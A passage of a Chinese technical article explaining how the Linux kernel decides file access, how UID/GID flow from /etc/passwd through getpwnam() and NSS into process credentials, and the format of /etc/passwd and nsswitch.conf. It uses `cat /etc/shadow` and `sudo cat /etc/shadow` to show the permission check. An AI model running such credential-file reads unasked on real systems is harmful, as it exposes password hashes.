4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cat /etc/shadow</span></code><span leaf=""> 的完整判定过程串起来：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">cat (uid=1000, euid=1000, fsuid=1000)</span><br/><span leaf="">  group_info = [27(sudo), 998(docker), 4(adm)]</span><br/><span leaf="">  cap_effective = {} (没有任何 capability)</span><br/><span leaf="">open(&#34;/etc/shadow&#34;)</span><br/><span leaf="">  ↓</span><br/><span leaf="">第 1 层 sb_permission()</span><br/><span leaf="">  → 读操作，文件系统不是只读的 → 通过</span><br/><span leaf="">  ↓</span><br/><span leaf="">第 2 层 inode 属性</span><br/><span leaf="">  → 读操作，不是 immutable → 通过</span><br/><span leaf="">  ↓</span><br/><span leaf="">第 3 层 generic_permission()</span><br/><span leaf="">  acl_permission_check():</span><br/><span leaf="">    fsuid=1000 ≠ owner=0           → 不是 owner</span><br/><span leaf="">    group_info 里没有 GID=42       → 不是 group</span><br/><span leaf="">    落入 other 位 → mode = 0        → 无权限</span><br/><span leaf="">    → 返回 -EACCES</span><br/><span leaf="">  capability 绕过检查：</span><br/><span leaf="">    CAP_DAC_READ_SEARCH？           → 没有</span><br/><span leaf="">    CAP_DAC_OVERRIDE？              → 没有</span><br/><span leaf="">    → 返回 -EACCES</span><br/><span leaf="">  ↓</span><br/><span leaf="">第 3 层拒绝，直接返回 -EACCES</span><br/><span leaf="">（第 4、5 层不会执行）</span><br/><span leaf="">cat 收到 EACCES → 输出 &#34;Permission denied&#34;</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">现在换成 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo cat /etc/shadow</span></code><span leaf="">（cat 以 root 运行）：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">cat (uid=0, euid=0, fsuid=0)</span><br/><span leaf="">  cap_effective = {全部 capability}</span><br/><span leaf="">第 3 层 generic_permission()</span><br/><span leaf="">  acl_permission_check():</span><br/><span leaf="">    fsuid=0 == owner=0              → 是 owner！</span><br/><span leaf="">    owner 位: mode &gt;&gt; 6 = 6 (rw-)   → 有读权限</span><br/><span leaf="">    → 返回 0（通过）</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">root 甚至不需要走到 capability 绕过那一步——它的 fsuid=0 直接匹配了文件 owner，owner 位本身就有读写权限。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">8. 一个常见误解的纠正</span></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">误解</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">实际机制</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">&#34;root 直接跳过所有检查&#34;</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">root 通过持有 capability 绕过 DAC，LSM 层仍可能拒绝</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">&#34;拿 fsuid 和文件属主比一下就行&#34;</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">还要查 group_info、ACL、capability、挂载属性、LSM</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">&#34;每次 open 都会读 /etc/passwd&#34;</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">全部基于 cred + inode 的内存数据，不查任何文本文件</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">内核权限判定本身不会去查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/group</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/shadow</span></code><span leaf=""> 这种文本文件。</span></strong><span leaf=""> 判定的全部依据都在内核内存中：当前进程的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 和文件的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">inode</span></code><span leaf=""> 元数据。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x06 uid 和 gid 是哪里来的？</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面说了内核只认 UID/GID 数字，那这些数字是从哪里来的？进程启动时 cred 里的 uid、gid 是怎么确定的？</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">答案是一条很长的链路，从硬盘上的文本文件一路到内核内存中的 cred 结构体：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">/etc/passwd（存储 UID/GID）</span><br/><span leaf="">    ↓</span><br/><span leaf="">getpwnam()（glibc 通过 NSS 读取）</span><br/><span leaf="">    ↓</span><br/><span leaf="">struct passwd { pw_uid, pw_gid }（返回给调用者）</span><br/><span leaf="">    ↓</span><br/><span leaf="">sshd/login/sudo（登录程序拿到 UID/GID）</span><br/><span leaf="">    ↓</span><br/><span leaf="">setresuid() / setresgid() / setgroups()（系统调用）</span><br/><span leaf="">    ↓</span><br/><span leaf="">cred 结构体的 uid/euid/suid/fsuid/gid/egid/sgid/fsgid/group_info</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">下面逐环节拆解。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">1. 存储层：/etc/passwd</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用户的 UID 和 GID 存储在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 中，每行一条记录，格式如下：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">root:x:0:0:root:/root:/bin/bash</span><br/><span leaf="">ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">字段含义（冒号分隔）：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">字段位置</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">含义</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">示例</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">第 1 个</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">用户名</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ubuntu</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">第 2 个</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">密码占位符（真实密码在 /etc/shadow）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">x</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">第 3 个</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">UID（用户 ID）</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">1000</span></strong></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">第 4 个</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">GID（主组 ID）</span></strong></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">1000</span></strong></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">第 5 个</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">用户描述（GECOS）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">Ubuntu</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">第 6 个</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">家目录</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">/home/ubuntu</span></code></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">第 7 个</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">登录 shell</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">/bin/bash</span></code></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这就是 UID/GID 的源头——一个文本文件里的数字。但内核不会直接读这个文件，中间还有好几层。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">2. 读取层：getpwnam() 和 NSS</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">登录程序（如 sshd）需要根据用户名查出对应的 UID/GID，用的就是 C 标准库的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam()</span></code><span leaf=""> 函数：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// glibc 标准函数</span></span><br/><span style="line-height: 26px;"><span leaf="">struct passwd *</span><span style="color: #61aeee;line-height: 26px;"><span leaf="">getpwnam</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name)</span></span></span><span leaf="">;</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 返回的结构体</span></span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">struct</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">passwd</span></span><span leaf=""> {</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">   *pw_name;   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 用户名</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">   *pw_passwd; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 密码占位符</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">uid_t</span></span><span leaf="">   pw_uid;    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ← UID 在这里</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf="">   pw_gid;    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ← GID 在这里</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">   *pw_gecos;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 描述</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">   *pw_dir;    </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 家目录</span></span><br/><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf="">   *pw_shell;  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// shell</span></span><br/><span leaf="">};</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam()</span></code><span leaf=""> 内部并不是直接读 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf="">，而是通过 </span><strong style="font-weight: bold;color: black;"><span leaf="">NSS（Name Service Switch）</span></strong><span leaf=""> 框架查询。NSS 的配置在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/nsswitch.conf</span></code><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># /etc/nsswitch.conf 示例</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 注意：不同系统、不同用途的机器配置差异很大，这只是其中一种</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Ubuntu 桌面/服务器常见配置：</span></span><br/><span leaf="">passwd:     files systemd</span><br/><span leaf="">group:      files systemd</span><br/><span leaf="">shadow:     files systemd</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 接入了企业 AD/LDAP 的机器可能长这样：</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># passwd:     files sss</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># group:      files sss</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># shadow:     files sss</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">每行配置的含义是：</span><strong style="font-weight: bold;color: black;"><span leaf="">按从左到右的顺序依次查询，查到就停</span></strong><span leaf="">。上面的例子中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">passwd: files sss</span></code><span leaf=""> 表示先查本地文件（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> = </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf="">），查不到再通过 SSSD 查远程目录服务。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">常见的 NSS 来源：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">NSS 来源</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">说明</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">典型场景</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">files</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">读本地 </span><code><span leaf="">/etc/passwd</span></code><span leaf=""> 和 </span><code><span leaf="">/etc/group</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">个人机器、小团队服务器</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">systemd</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">systemd 提供的动态用户解析（systemd-resolved、动态用户等）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">现代 Ubuntu/CentOS 系统的默认配置</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">sss</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通过 SSSD 查询（支持 AD、LDAP、IPA 等）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">企业环境中集中管理账号</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ldap</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">直接从 LDAP 服务器查询</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">传统 LDAP 部署</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">winbind</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">通过 Winbind 查询 Windows AD 域</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Windows 域集成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">nis</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Network Information Service（旧称 Yellow Pages）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">老式 UNIX 网络环境</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">compat</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">兼容模式，支持 </span><code><span leaf="">/etc/passwd</span></code><span leaf=""> 中的 </span><code><span leaf="">+</span></code><span leaf="">/</span><code><span leaf="">-</span></code><span leaf=""> 语法（配合 NIS 使用）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">需要向后兼容旧 NIS 配置的系统</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">db</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">从 Berkeley DB 数据库文件查询</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">需要快速查表的大规模本地用户系统</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">注意 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">passwd</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">group</span></code><span leaf=""> 两行都很重要：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">passwd</span></code><span leaf=""> 行决定 UID/GID 从哪来，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">group</span></code><span leaf=""> 行决定补充组列表从哪来（后面讲 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">initgroups()</span></code><span leaf=""> 时会用到）。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">无论哪种来源，对调用者来说接口都一样：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getpwnam(&#34;ubuntu&#34;)</span></code><span leaf=""> 返回一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">struct passwd</span></code><span leaf="">，里面有 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pw_uid=1000</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pw_gid=1000</span></code><span 